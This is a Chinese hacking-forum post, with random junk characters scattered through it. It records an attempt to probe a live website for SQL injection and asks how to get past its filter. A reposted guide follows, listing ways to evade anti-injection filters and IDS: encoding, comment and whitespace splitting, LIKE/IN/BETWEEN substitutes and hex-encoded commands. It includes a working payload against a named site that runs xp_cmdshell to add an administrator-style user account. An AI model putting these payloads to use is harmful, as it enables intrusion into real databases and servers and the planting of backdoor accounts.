路过这个网站,检测了一下.
: v! L6 D- X6 t$ X% v6 ihttp://www.xxx.cn/Article.asp?ID=117 and 1=16 x$ ^+ K @4 B) b4 K
直接返回主页
' t; T. h7 V1 o0 mhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
) x* Z6 ^( @0 ^* N直接返回主页( O0 u+ U$ p0 C6 j
http://www.xxx.cn/Article.asp?ID=117 or
# ?/ d4 _* v3 U$ E5 w没有返回主页 没有过滤or
1 I5 H. G9 L2 s- I# s9 H9 o$ l! ~4 ^http://www.xxx.cn/Article.asp?ID=117 and9 Z B3 h; F+ }% d( P' Q7 |& M$ E
直接返回主页 看来过滤了and; g/ ^0 x6 a4 \& A+ Y4 H
http://www.xxx.cn/Article.asp?ID=117 or 13 t) ~% I' U6 a3 a: k) a
没有返回主页 即没有过滤or 也没有过滤1
! r- A) K/ p; ?2 [http://www.xxx.cn/Article.asp?ID=117 or 1=10 W# O. i2 u9 a" D# d$ ~- e7 X$ I# V
直接返回主页 很明显过滤了等号 % [. T$ e) H1 j" M
or的特性是与and相反的.) O) q; ~7 _2 H* n2 e
or 1=1 爆错 或与原页面不同3 W; [7 e- |8 c* c
or 1=2 原页面相同
M: D! b: W- h9 U这样就是一个注入点( B4 p3 A* b( N6 k" E
但他过滤了=号 我就用><号代替=号吧!' q8 I: G; L& _% c. I) m7 z* W% A
or 1<2 很明显是正确的,所以应该与原页面不同
- k8 P, X/ s i( U. l& m W9 ?or 1>2 很明显是错误的,所以应该与原页面相同6 v3 c$ `) n) `8 M, X. K
然后看看有没有过滤其他的查询语句,比如select.
& B# v" k s6 _ vhttp://www.xxx.cn/Article.asp?ID=117 select
, V8 X$ K4 s4 ?& d$ y直接返回主页
+ S: u8 R8 p& M1 ?* t Q5 R7 [又迷茫了..' y2 m, a4 a* h3 m% C1 a
. M& j( g7 z3 S$ p9 R$ a; y+ O
: o0 i$ v0 d( |. k) icookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗- d5 @6 j9 Q+ {8 a# a5 ]' P6 T
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
6 |% {4 o) h) P5 r- c; x# @1 [2 `================================================$ y0 N8 H8 ~! S. M$ S5 ~2 b
以下是转贴:. F1 B8 {& Q. D4 g0 X) w
& R8 g+ s# [* B1 C! {
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
5 _2 [3 d2 J7 l0 b经过我的收集,大部分的防注入程序都过滤了以下关键字: 7 _/ V0 L) n# K% f l# T
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = % N/ F' {; o4 K: ]2 q& W* Q: \' z% s, Z
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 1 R2 u; V6 s7 }* Y
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 2 `7 a/ v( L' r% |
1、运用编码技术绕过 % T% f: j+ t' F) k* e; R7 a
如URLEncode编码,ASCII编码绕过。例如or 1=1即 ' ]! x/ P# T3 ^: l. a
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
3 s' e% U% [/ ~2 \$ X8 r2 G5 l# ?# U2 X6 l- d
2、通过空格绕过 . [& M- y3 J9 S$ N7 r) Q% h
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
, ^9 t3 a* H( p6 ]& Z9 m) x; Ior’ swords’ =‘swords’ 0 n4 c4 v& f* d* R
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
3 D2 }- F3 I; c3、运用字符串判断代替
# I* F# ?$ l' C9 A4 B6 i用经典的or 1=1判断绕过,如 ; ~$ e/ i8 l2 J) f' e3 h
or ’swords’ =’swords’ 9 ?- d6 b7 M4 B5 E
,这个方法就是网上在讨论的。
! {9 j! w. N7 ?7 ]! O* o; P4、通过类型转换修饰符N绕过 N& z. ^8 P) N: `3 h
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
- v0 I; i# B" o; ]5、通过+号拆解字符串绕过
7 A( k0 n+ z# u, M" w效果值得考证,但毕竟是一种方法。如
7 {" }; y- P1 ]% P7 \% yor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
8 b4 t7 M+ E) h$ I- V4 N' Z3 \5 w+ X; ?% h6 S2 s: B* Y, [* @
6、通过LIKE绕过 ) {4 v# J$ h; e+ U: N
以前怎么就没想到呢?如or
5 C- G* q8 U3 \3 B, A’swords’ LIKE ’sw’ & c/ j# L# S% D" [, A
!!!显然可以很轻松的绕过 $ e* q5 `! U4 n+ [8 S8 W/ M
“=”“>”
& V3 R% B" ]9 K) @! \0 m6 r的限制……
) n0 U/ c- g j1 z7、通过IN绕过
/ W/ b j/ ~* L- A与上面的LIKE的思路差不多,如
: i' R, H5 K. p$ _8 F& w: C" `or ’swords’ IN (’swords’)
5 L) ^- Z5 d* `, s0 I; e' V5 l% r$ ]8 A2 b; E+ ^4 M
8、通过BETWEEN绕过 ! [; j. {' p& f9 v+ j: P2 C- J
如
% B0 ^; Q1 j. j3 P) Zor ’swords’ BETWEEN ’rw’ AND ’tw’
: e) j3 {3 p+ `
' O; W0 k; m$ `0 H8 `9、通过>或者<绕过 : e2 K5 ` W4 ] B) n3 O5 X
or ’swords’ > ’sw’
7 ?* s" b6 ^/ q5 Z4 Y0 c qor ’swords’ < ’tw’
( S: p! _" w5 G7 |0 t$ ~0 `3 sor 1<3 3 c' j6 [+ w" U: A0 q$ H0 a
……
8 l- ~* s+ E- N5 H/ ~10、运用注释语句绕过 ) ?8 y: b4 {3 T# F" u1 V, G
用/**/代替空格,如: 7 S- `8 _- z5 \! B
UNION /**/ Select /**/user,pwd,from tbluser
& ~4 P; W) y9 z; t4 ~, j1 i
$ `/ b V8 U- n/ A用/**/分割敏感词,如: # i! G0 I2 D5 P- ?* _1 U6 _
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
; I$ s0 r' M/ A3 e
' S# t8 V7 g/ n0 S11、用HEX绕过,一般的IDS都无法检测出来
+ c+ R' f/ e, A/ T0x730079007300610064006D0069006E00 =hex(sysadmin)
( Q9 k q% z4 h) ^0x640062005F006F0077006E0065007200 =hex(db_owner)
4 d, L1 L: ?4 [* ^; l5 P另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: : Y+ K) E7 ]+ |- ?
declare @a sysname * p4 o' n- u+ w2 m8 \5 ]$ C
select @a= " J( w* C" z4 J" h0 U9 v
exec master.dbo.xp_cmdshell @a 9 H/ e& d; ?* V
效果 / x$ N7 X( o g+ v' f
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- . s4 V! p( u( B
; V' ?" Z: x- F; p% t5 C
其中的 # J% x. @+ G# c: C2 J
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
2 u% {# J& W2 q就是 5 v/ f* j. E6 D; t6 i
“net user angel pass /add”2 e) t6 e8 ~; ~8 r% @" z
! W3 F) ]7 t+ Y/ Y' p0 H# F, H3 h! c; x一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
* A" q! R# H7 @; I8 ~引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
N0 m% N8 q, Z) s另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
- \/ C8 m" V+ T0 Q: y1 ?- g( OCopy code
- k9 J& O7 G7 Vselect * from table exec xp_cmdshell'xxxxxxxxxx'
8 q. @3 Z# J2 P2 W8 a
! ~, J7 i+ `+ C% A# o2 l
5 y }7 o; a% e5 C5 fselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'" g5 f' O8 W8 o0 { I' L0 m
: k' O2 a, {; H8 L% M( O7 O3 E# v& p1 Q
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'% S& r3 Q6 V8 o: C* J8 S
4 B, J' _: B1 Z/ H* {$ h. @1 z# L; k6 i8 f5 I, t
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
2 Y1 Y: p( J8 @) C
0 U* o# x; e! M! V$ c' C" z的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?% N, x$ V" I7 I1 w# D+ Y5 {6 E' B% q
9 n9 [2 s n% J# `
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了! |* ^5 y8 f. a& Q
可能大家早就知道了,不管怎么说,发在这里吧!, Q7 f0 Y% k5 Q+ K) M m, \
+ J8 R9 K# b$ K9 p9 N最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
! h# j% ?1 s- {3 i3 Y
1 e0 P. J; o- P+ g7 W
6 _" U5 f( ]# g! ^' ?
6 a8 E# L& d* |8 g+ v* e对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
4 j: r R- A7 o! H" r5 \6 ]: Z, u比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? . D0 I T6 f% \
- n& D; e, [; Y. Z7 b6 M3 q7 j |